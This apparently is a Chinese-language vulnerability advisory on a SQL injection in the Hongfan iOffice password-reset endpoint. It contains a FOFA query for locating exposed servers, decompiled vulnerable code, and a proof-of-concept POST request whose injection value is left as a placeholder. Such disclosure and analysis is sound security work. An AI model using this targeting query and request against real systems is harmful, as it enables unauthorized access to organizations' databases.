漏洞简介
红帆iOffice的/ioffice/prg/mr/ClearPwd/mrClearPwd.aspx接口存在SQL注入漏洞。攻击者可通过构造恶意SQL语句,未经身份验证地获取数据库敏感信息,影响范围包括红帆iOffice系统的数据访问权限。
影响版本
fofa语法
(title="iOffice.net" || body="/iOffice/js" || (body="iOffice.net" && header!="couchdb" && header!="drupal") || body="iOfficeOcxSetup.exe" || body="Hongfan. All Rights Reserved")
漏洞分析
先看下mrClearPwd.aspx 里引用的代码在哪里(Inherits)
<%@ Page Language="vb" AutoEventWireup="false" CodeBehind="mrClearPwd.aspx.vb"
Inherits="mr.mrClearPwd" %>
<form id="frm" runat="server" defaultfocus="txtpwd"
defaultbutton="ok">
<div style="position: absolute; bottom: 3px; left: 15px;
font-size: 13">
<a href="../../../help/ioset.exe" title="IE设置工具">IE设置工具</a>
<a href="../../../help/iOfficeOcxSetup.exe" title="文档控件安装">
文档控件安装</a>
</div>
去bin目录找到mrClearPwd.dll后编译打开,看mrClearPwd它的实现逻辑关键部分
public class mrClearPwd : WebPageBase
{
private void cmdValidate_Click(object sender, EventArgs e)
{
if (((CheckBox) this.rad1).Checked)
{
int num = 0;
string str = "";
if (Operators.CompareString(this.txtloginid.Text.Trim(), "", false) != 0)
{
DataTable baseInfExtent = mr.mr.GetBaseInfExtent(0, this.txtloginid.Text);
if (baseInfExtent.Rows.Count > 0)
{
num = 1;
str = baseInfExtent.Rows[0]["Question"].ToString();
}
else
num = 0;
}
if (num == 1)
{
((WebControl) this.txtAnswer).Attributes["contenteditable"] = "true";
((WebControl) this.txtQuestion).Attributes["contenteditable"] = "false";
this.txtQuestion.Text = str;
this.txtAnswer.Text = "";
((Control) this.lblTip).Visible = false;
}
else
{
((WebControl) this.txtAnswer).Attributes["contenteditable"] = "false";
((WebControl) this.txtQuestion).Attributes["contenteditable"] = "false";
this.txtQuestion.Text = "";
this.txtAnswer.Text = "";
((Control) this.lblTip).Visible = true;
}
}
if (((CheckBox) this.rad2).Checked)
{
if (Operators.CompareString(Globals.get_Profile("PwdPolicy", "ClearPwdNeedMobile"), "1", false) == 0)
{
if (Operators.CompareString(this.txtmobileNO.Text, "", false) == 0)
{
Page pgeParent = (Page) this;
pf.ShowMessage(ref pgeParent, "必须输入您的手机号码(必须在系统中有登记)");
this.ClientScript.RegisterStartupScript(this.ClientScript.GetType(), "CtlssTree1", "<script>DisableButton()</script>");
}
else if (Conversions.ToInteger(SqlData.ExecuteScalar(Globals.ConnectString, (CommandType) 1, $"select count(*) from mrBaseInf where loginid='{this.txtloginid.Text}' and ( mobile='{this.txtmobileNO.Text}' or mobile1='{this.txtmobileNO.Text}' or mobile2='{this.txtmobileNO.Text}')")) <= 0)
{
Page pgeParent = (Page) this;
pf.ShowMessage(ref pgeParent, "手机号码不正确!(该号码在系统中未登记或与登记的号码不符!)");
this.ClientScript.RegisterStartupScript(this.ClientScript.GetType(), "CtlssTree1", "<script>DisableButton()</script>");
}
else
{
this.SendVerifyCode();
this.ClientScript.RegisterStartupScript(this.ClientScript.GetType(), "send", "<script>startTimer()</script>");
}
}
else
{
this.SendVerifyCode();
this.ClientScript.RegisterStartupScript(this.ClientScript.GetType(), "send", "<script>startTimer()</script>");
}
}
}
在通过“短信验证”方式找回密码时,用户名字段(txtloginid)未经任何过滤或参数化处理,被直接拼接到 SQL 查询语句中,导致了SQL注入漏洞,攻击者可借此执行任意 SQL 命令。
漏洞复现
漏洞复现需要打开漏洞文件页面获取一些其他必要参数如__VIEWSTATE之类

POST /ioffice/prg/mr/ClearPwd/mrClearPwd.aspx HTTP/1.1
Host: ioffice.mrxn.net
Content-Type: application/x-www-form-urlencoded
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=YOUR__VIEWSTATE&__VIEWSTATEGENERATOR=YOUR___VIEWSTATEGENERATOR&txtloginid=SQLI_POC&grop1=rad2&txtmobileNO=1&txtmobile=13888888888&ok=%E7%A1%AE%E3%80%80%E8%AE%A4

成功利用报错注入在响应回显当前数据库用户信息

